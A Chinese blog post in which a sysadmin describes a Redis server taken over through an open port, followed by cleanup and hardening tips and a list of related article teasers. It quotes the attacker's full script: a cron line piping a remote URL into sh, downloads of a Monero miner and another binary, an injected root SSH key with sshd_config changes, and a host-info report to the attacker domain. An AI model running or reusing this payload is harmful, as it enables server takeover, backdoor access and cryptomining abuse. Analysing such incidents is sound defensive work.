如何防止redis服务器被鸡肉

问题是周六上午十点发现自己的备份邮件中突然少了一台数据库中的备份数据,当时也没考虑太多,(从这里看出,还不具备运维的思维,哪怕是一个小小的备份也要 重视,为什么会少一台服务器的备份数据)居然过了周末,周一到了上班时间,突然想到周六的备份数据少了,这时候才想到数据库服务器 的数据没有被推送到备份服务器,当然先下手就是看定时任务了,然而,查看到定时任务,一下子震惊了。。。。。

[[email protected] redis]# crontab -l

*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh

这个完全不是我做的定时任务,心里一下子就紧张了,怎么会这样呢,谁会登陆到我的服务器呢,这时想到应该是被黑了。。。。。

刚开始也是很懵逼。。。首先我就直接把服务器的定时任务删除了,后来Google一下代码,才发现是redis的漏洞导致服务器被肉鸡了

处理方法只要把 /var/spool/cron/root 删除   /opt/yam/yam   删除   /opt/gg3lady  删除  .ssh/KHK75NEOiq 删除

把gg3lady  yam     进程结束 还有就是sshd_confg 文件还原 应该就没问题了。

##网上查到脚本内容大致如下

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" > /var/spool/cron/root

# echo "*/2 * * * * ps auxf | grep -v grep | grep yam || /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr" >> /var/spool/cron/root

echo "*/5 * * * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &" >> /var/spool/cron/root

ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr &

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then

mkdir -p ~/.ssh

rm -f ~/.ssh/authorized_keys*

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

echo "RSAAuthentication yes" >> /etc/ssh/sshd_config

echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config

echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

/etc/init.d/sshd restart

fi

if [ ! -f "/opt/yam/yam" ]; then

mkdir -p /opt/yam

curl -f -L https://r.chanstring.com/api/download/yam -o /opt/yam/yam

chmod +x /opt/yam/yam

# /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr

fi

if [ ! -f "/opt/gg3lady" ]; then

curl -f -L https://r.chanstring.com/api/download/gg3lady_`uname -i` -o /opt/gg3lady

chmod +x /opt/gg3lady

fi

# yam=$(ps auxf | grep yam | grep -v grep | wc -l)

# gg3lady=$(ps auxf | grep gg3lady | grep -v grep | wc -l)

# cpu=$(cat /proc/cpuinfo | grep processor | wc -l)

# curl https://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg3lady=$gg3lady\&arch=`uname -i`

对应的安全处理:

1、限制Redis的访问IP,如指定本地IP获指定特定IP可以访问。
2、如果是本地访问和使用,打开防火墙(阿里云等操作系统,默认把防火墙关了),不开放Redis端口,最好修改掉Redis的默认端口;
3、如果要远程访问,给Redis配置上授权访问密码;

时间: 2024-09-30 01:59:57

如何防止redis服务器被鸡肉的相关文章

如何在Ubuntu 16.04上将Redis服务器设置为PHP的会话处理程序

介绍 Redis是一个开源的键值缓存和存储系统,也称为数据结构服务器,因为它对几种数据类型(如散列,列表,集合和位图等)提供高级支持.它还支持集群,使其在高可用性和可扩展的环境中非常有用. 在本教程中,我们将看到如何安装和配置一个外部Redis服务器,用作在Ubuntu 16.04上运行的PHP应用程序的会话处理程序. 会话处理程序负责存储和检索保存到会话中的数据.默认情况下,PHP使用文件这一点.这对于单个服务器工作得很好,但是由于会话信息被绑定到单个服务器,所以具有一些显着的性能和可扩展性限

Redis 服务器

Redis 服务器命令主要是用于管理 redis 服务. 实例 以下实例演示了如何获取 redis 服务器的统计信息: redis 127.0.0.1:6379> INFO # Server redis_version:2.8.13 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:c2238b38b1edb0e2 redis_mode:standalone os:Linux 3.5.0-48-generic x86_64 arch

Windows下搭建Redis服务器

Redis服务器是当下比较流行的缓存服务器,Redis通常被人拿来和Memcached进行对比.在我看来,应当是各具优势吧,虽然应用场景基本类似,但总会根据项目的不同来进行不通的选用. 我们今天主要讲Redis在windows平台下的安装和部署.进入正题-> 一.单机部署使用Redis 1.下载Redis,我选用的是当下的最新版本3.2.0 地址在这里https://github.com/MSOpenTech/redis/releases 下载好之后,直接解压到任意位置,我存放在了 D:\Pro

Redis服务器的启动过程分析

转载于:http://www.itxuexiwang.com/a/shujukujishu/redis/2016/0216/127.html?1455808771 本文将通过分析代码来介绍Redis的启动过程,通过查看Redis 的启动脚本,得知Redis的启动时从Redis.c的main方法开始的.Redis启动可以分为以下几个步骤: 1.初始化Redis服务器全局配置2.重置服务器Save参数(具体下文详解)和加载配置文件3.初始化服务器4.加载数据库5.开始网络监听 一,初始化Redis服

Redis服务器操作

[Redis服务器操作] 1.TIME 返回当前服务器时间. 2.DBSIZE 返回当前数据库的 key 的数量. 3.LASTSAVE 返回最近一次 Redis 成功将数据保存到磁盘上的时间,以 UNIX 时间戳格式表示. 4.BGSAVE 在后台异步(Asynchronously)保存当前数据库的数据到磁盘. BGSAVE 命令执行之后立即返回 OK ,然后 Redis fork 出一个新子进程,原来的 Redis 进程(父进程)继续处理客户端请求,而子进程则负责将数据保存到磁盘,然后退出.

Linux 下安装 Redis 服务器

本文简单介绍了 Linux 下安装 Redis 服务器的步骤,同时简要介绍服务器的配置.启动以及状态检测.另外还介绍了 32 位 CentOS 下安装 Redis 时遇到的一些问题的解决.        一. 查看 Linux 相关信息        版本查看cat /etc/issueCentOS release 5.5 (Final)        位数查看getconf LONG_BIT32        二. 安装 tcl        先装好 tcl,不然 redis 的 make t

Redis服务器搭建/配置/及Jedis客户端的使用方法

Redis服务器搭建 安装 在命令行执行下面的命令: $ wget http://download.redis.io/releases/redis-2.8.13.tar.gz $ tar xzf redis-2.8.13.tar.gz $ cd redis-2.8.13 $ make 编译完成后,会产生六个文件: redis-server:这个是redis的服务器 redis-cli:这个是redis的客户端 redis-check-aof:这个是检查AOF文件的工具 redis-check-d

Redis服务器学习笔记(一)

一.Redis的安装: wget http://download.redis.io/redis-stable.tar.gz tar xzfredis-stable.tar.gz cd redis-stable make make install 二.Redis的简单介绍: 1. Redis可执行文件说明: 文件名 说明 redis-server redis服务器 redis-cli redis命令行客户端 redis-benchmark redis性能测试工具 redis-check-aof A

Redis 学习(三)redis服务器集群、客户端分片

下面是来自知乎大神的一段说明,个人觉得非常清晰,就收藏了. 为什么集群? 通常,为了提高网站响应速度,总是把热点数据保存在内存中而不是直接从后端数据库中读取.Redis是一个很好的Cache工具.大型网站应用,热点数据量往往巨大,几十G上百G是很正常的事儿,在这种情况下,如何正确架构Redis呢? 首先,无论我们是使用自己的物理主机,还是使用云服务主机,内存资源往往是有限制的,scale up不是一个好办法,我们需要scale out横向可伸缩扩展,这需要由多台主机协同提供服务,即分布式多个Re